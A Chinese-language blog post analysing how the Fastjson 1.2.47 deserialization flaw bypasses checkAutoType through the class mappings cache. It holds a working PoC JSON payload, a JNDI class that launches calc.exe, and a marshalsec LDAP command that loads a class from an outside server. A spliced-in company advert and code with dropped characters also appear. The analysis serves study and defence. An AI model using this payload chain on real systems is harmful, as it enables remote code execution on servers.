這篇文章將為大家詳細(xì)講解有關(guān)Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。
成都創(chuàng)新互聯(lián)長(zhǎng)期為近千家客戶提供的網(wǎng)站建設(shè)服務(wù),團(tuán)隊(duì)從業(yè)經(jīng)驗(yàn)10年,關(guān)注不同地域、不同群體,并針對(duì)不同對(duì)象提供差異化的產(chǎn)品和服務(wù);打造開放共贏平臺(tái),與合作伙伴共同營(yíng)造健康的互聯(lián)網(wǎng)生態(tài)環(huán)境。為隆德企業(yè)提供專業(yè)的網(wǎng)站建設(shè)、做網(wǎng)站,隆德網(wǎng)站改版等技術(shù)服務(wù)。擁有10年豐富建站經(jīng)驗(yàn)和眾多成功案例,為您定制開發(fā)。
這次將要介紹的是Fastjson 1.2.47版本存在的漏洞成因以及其利用方式。
Fastjson 1.2.47版本漏洞與上篇文章中介紹的幾處漏洞在原理上有著很大的不同。與Fastjson歷史上存在的大多數(shù)漏洞不同的是,F(xiàn)astjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未開啟時(shí)進(jìn)行
首先來看一下公開的poc
public class demo { public static void main(String[] args) { String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/ExecTest\",\"autoCommit\":true}}"; Object obj = JSON.parseObject(payload); System.out.println(obj); } }
從代碼中可見,與以往利用不同的是,該poc中構(gòu)造了兩個(gè)json字符串
1、"a":{"\@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"} 2、"b":{"\@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/ExecTest","autoCommit":true}
為了弄清楚這樣構(gòu)造的意義,我們來動(dòng)態(tài)調(diào)試一下這個(gè)漏洞
程序首先解析第一個(gè)json字符串
我們跳過部分FastJson解析流程,直接來看checkAutoType安全模塊時(shí)的操作。對(duì)這個(gè)字符串中\(zhòng)@type字段進(jìn)行校驗(yàn)
在位于com/alibaba/fastjson/parser/ParserConfig.java的checkAutoType安全模塊中,程序首先進(jìn)入了這個(gè)分支,程序調(diào)用getClassFromMapping對(duì)typeName進(jìn)行解析,typeName即為字符串中@type的值,在第一個(gè)json字符串中,這個(gè)值為"java.lang.Class"
我們跟入位于com/alibaba/fastjson/util/TypeUtils.java 的getClassFromMapping
從上圖代碼可見,程序想從mappings中尋找鍵名為”java.lang.Class”的元素并返回對(duì)應(yīng)的鍵值。值得一提的是,mappings合集與后文將要講到的buckets合集對(duì)這個(gè)漏洞至關(guān)重要,這二者是這個(gè)漏洞產(chǎn)生的核心因素
mappings合集
mappings中存儲(chǔ)的數(shù)據(jù)都是什么呢?經(jīng)過調(diào)試可以發(fā)現(xiàn)其中數(shù)據(jù)形式如下圖中所展示
從上圖可見,mappings中存儲(chǔ)著類名字符串以及對(duì)應(yīng)類對(duì)象。然而mappings中的數(shù)據(jù)又是從何而來的呢?
經(jīng)過調(diào)試發(fā)現(xiàn),mappings中存儲(chǔ)的數(shù)據(jù)是由位于com/alibaba/fastjson/util/TypeUtils.java的addBaseClassMappings方法添加的
從Mapping合集中的數(shù)據(jù)可以猜測(cè),Mapping是用來存儲(chǔ)一些基礎(chǔ)的Class,以便于在反序列化處理這些基礎(chǔ)類時(shí)提高效率
在弄清楚mappings列表的由來后,繼續(xù)回到正題。我們構(gòu)造的typeName(@type指定的"java.lang.Class")并不在Mappings的鍵中。因此getClassFromMapping方法返回null,程序繼續(xù)向下執(zhí)行進(jìn)入下一個(gè)if分支。此時(shí)程序接著調(diào)用deserializers.findClass對(duì)傳入的typeName進(jìn)行解析
我們跟入位于com/alibaba/fastjson/util/IdentityHashMap.java的findClass方法進(jìn)行進(jìn)一步分析
從上圖代碼可見,程序會(huì)遍歷buckets,取出其中元素的key屬性值的名稱并與傳入的”java.lang.Class”進(jìn)行比較,如果二者相同,則將這個(gè)Class對(duì)象返回
buckets合集
現(xiàn)在我們要談?wù)刡uckets合集了。buckets又存儲(chǔ)著什么元素呢?見下圖
上圖我們展開了一個(gè)buckets合集中元素進(jìn)行展示。與Mapping合集相同的問題產(chǎn)生了:buckets中的元素都有哪些、他們又從何而來呢?經(jīng)過調(diào)試我們?cè)谝娤氯龔垐D中找到了答案
通過FastJson作者關(guān)于buckets合集的注釋猜測(cè),buckets是一個(gè)用于并發(fā)的IdentityHashMap
回到調(diào)試流程中findClass方法來,我們構(gòu)造的typeName(@type指定的"java.lang.Class")被findClass方法匹配到了,因此java.lang.Class類對(duì)象被返回
在findClass執(zhí)行完成后,java.lang.Class類對(duì)象被返回到checkAutoType中并賦值給clazz,checkAutoType方法也將于963行處將clazz返回。
回顧一下上文中的Mapping合集和buckets合集,F(xiàn)astjson為什么要將用戶傳入的\@type字段指定的字符串在這兩個(gè)合集中匹配呢?
Mapping合集則是用來存儲(chǔ)基礎(chǔ)的Class,如果\@type字段傳入的字符串如果對(duì)應(yīng)了基礎(chǔ)Class,程序則直接找到其類對(duì)象并將其類對(duì)象返回,從而跳過了checkAutoType后續(xù)的部分校驗(yàn)過程。而buckets合集則是用于并發(fā)操作。
但無論Mapping合集與buckets合集實(shí)際作用是什么,但凡用戶傳入的\@type字段字段值在兩個(gè)合集中任意一個(gè)中,且程序使用JSON.parseObject(payload);這樣的形式解析字符串(確保expectClass為空,防止進(jìn)入上圖957行if分支),checkAutoType都將會(huì)直接將其對(duì)應(yīng)的Class返回。
checkAutoType在將clazz返回后,程序?qū)?huì)執(zhí)行到com/alibaba/fastjson/parser/DefaultJSONParser.java中的如下代碼
從上圖第一個(gè)紅框可見,checkAutoType在將用戶傳入的@type值返回后,程序會(huì)賦值給上圖316行處clazz變量,而上圖384行處的deserialze方法緊接著處理這個(gè)clazz變量
跟入位于com/alibaba/fastjson/serializer/MiscCodec.java的deserialze方法中
publicT deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; ? if (lexer.token() == JSONToken.LITERAL_STRING) { if (!"val".equals(lexer.stringVal())) { throw new JSONException("syntax error"); } lexer.nextToken(); } else { throw new JSONException("syntax error"); } parser.accept(JSONToken.COLON); objVal = parser.parse(); parser.accept(JSONToken.RBRACE); ? if (objVal == null) { strVal = null; } else if (objVal instanceof String) { strVal = (String) objVal; } ? if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }
此時(shí)傳入deserialze中clazz變量為checkAutoType安全模塊校驗(yàn)后返回的"java.lang.Class"而fieldName變量值為解析的第一個(gè)json字段名"a"
deserialze方法中,與本次漏洞與poc構(gòu)造的代碼塊主要有三部分,分別是:
取出json字符串中val值
if (lexer.token() == JSONToken.LITERAL_STRING) { if (!"val".equals(lexer.stringVal())) { throw new JSONException("syntax error"); } lexer.nextToken(); } else { throw new JSONException("syntax error"); } parser.accept(JSONToken.COLON); objVal = parser.parse(); parser.accept(JSONToken.RBRACE);
在這段代碼中,程序?qū)⑴袛鄠魅氲膉son字符串中是否有”val”,并將其值通過下圖第一個(gè)紅框處的代碼取出賦值給objVal變量。
將objVal變量值轉(zhuǎn)換為String類型并賦值strVal變量
if (objVal == null) { strVal = null; } else if (objVal instanceof String) { strVal = (String) objVal; }
這段代碼與上一段銜接,objVal變量值又傳遞給下圖第二個(gè)紅框處。strVal變量判斷objVal非空且為String類實(shí)例時(shí),將其轉(zhuǎn)換為String類型并賦值與strVal
調(diào)用TypeUtils.loadClass處理val值
if (clazz == Class.class) { return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader()); }
這段代碼的作用時(shí),當(dāng)傳入的clazz變量為Class的類對(duì)象時(shí),調(diào)用TypeUtils.loadClass處理strVal(即json字符串中的val值)
在分析完deserialze方法的加工流程后,我們回頭看看poc中構(gòu)造的val值是什么,見下圖紅框處
poc中構(gòu)造的是com.sun.rowset.JdbcRowSetImpl字符串,也就是過往漏洞利用中可利用的類。但是根據(jù)之前的分析,自從黑名單機(jī)制的完善,這個(gè)類早已已經(jīng)不能簡(jiǎn)單的直接利用了,這個(gè)漏洞究竟是如何讓這個(gè)類繞過黑名單重獲新生呢?我們繼續(xù)往下看看TypeUtils.loadClass中的操作,繼續(xù)跟入位于com/alibaba/fastjson/util/TypeUtils.java的loadClass
public static Class> loadClass(String className, ClassLoader classLoader, boolean cache) { if(className == null || className.length() == 0){ return null; } Class> clazz = mappings.get(className); if(clazz != null){ return clazz; } if(className.charAt(0) == '['){ Class> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } if(className.startsWith("L") && className.endsWith(";")){ String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); } try{ if(classLoader != null){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch(Throwable e){ e.printStackTrace(); // skip } try{ ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if(contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch(Throwable e){ // skip }
loadClass接收的一個(gè)參數(shù):"className"為String類型變量,根據(jù)上文的調(diào)用關(guān)系,這里傳入的是字符串"com.sun.rowset.JdbcRowSetImpl",即className參數(shù)值為"com.sun.rowset.JdbcRowSetImpl"
通過分析loadClass方法代碼,可以發(fā)現(xiàn)如下代碼
try{ ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader(); if(contextClassLoader != null && contextClassLoader != classLoader){ clazz = contextClassLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } }
在該代碼段中,程序通過contextClassLoader.loadClass(className);方法從字符串類型className變量("com.sun.rowset.JdbcRowSetImpl")獲取到com.sun.rowset.JdbcRowSetImpl類對(duì)象,并賦值給clazz變量。此時(shí)的className、clazz變量形式如下圖
接著,程序判斷cache變量情況:在當(dāng)cache為true時(shí),將className、clazz鍵值對(duì)加入mappings合集(cache默認(rèn)為true)。
經(jīng)過動(dòng)態(tài)調(diào)試可以發(fā)現(xiàn),通過上面的一系列操作,Mappings合集中確實(shí)已經(jīng)加入了我們的惡意類com.sun.rowset.JdbcRowSetImpl,見下圖
在我們的第一個(gè)json字符串解析完成后,程序隨后會(huì)解析我們第二個(gè)json字符串
與第一個(gè)json字符串解析流程完全一致,程序也執(zhí)行到下圖部分
由于這次Mapping中有鍵名為com.sun.rowset.JdbcRowSetImpl的元素,因此clazz被賦值為com.sun.rowset.JdbcRowSetImpl類對(duì)象
從下面兩張圖可見,此時(shí)上文的流程完全一致,只不過這次返回的時(shí)com.sun.rowset.JdbcRowSetImpl類對(duì)象
com.sun.rowset.JdbcRowSetImpl惡意類被順利返回,但是整個(gè)操作流程中并未觸發(fā)checkAutoType黑白名單校驗(yàn)機(jī)制。隨后com.sun.rowset.JdbcRowSetImpl惡意類被反序列化,觸發(fā)利用
為了證實(shí)漏洞的存在,我們首先在192.167.30.116服務(wù)器的80端口web服務(wù)上部署ExecTest.class。ExecTest.java中內(nèi)容如下
java import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.util.Hashtable; public class ExecTest implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) { exec("xterm"); return null; } public static String exec(String cmd) { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } return ""; } public static void main(String[] args) { exec("123"); } }
使用marshalsec開啟ladp服務(wù),監(jiān)聽在1389端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.167.30.116/java/#ExecTest" 1389
demo程序執(zhí)行完畢,計(jì)算器成功彈出
Fastjson 1.2.47版本的漏洞與Fastjson歷史上存在的大多數(shù)漏洞不同。本次漏洞相比自立一派,與過往那些針對(duì)補(bǔ)丁繞過的漏洞相比,本次漏洞更為復(fù)雜與精妙。1.2.47版本的漏洞涉及到一些Fastjson機(jī)制類的知識(shí),通過對(duì)這個(gè)漏洞進(jìn)行分析,可以更好的了解FastJson框架。
關(guān)于Fastjson 1.2.47版本存在的漏洞成因以及其利用方式是什么就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。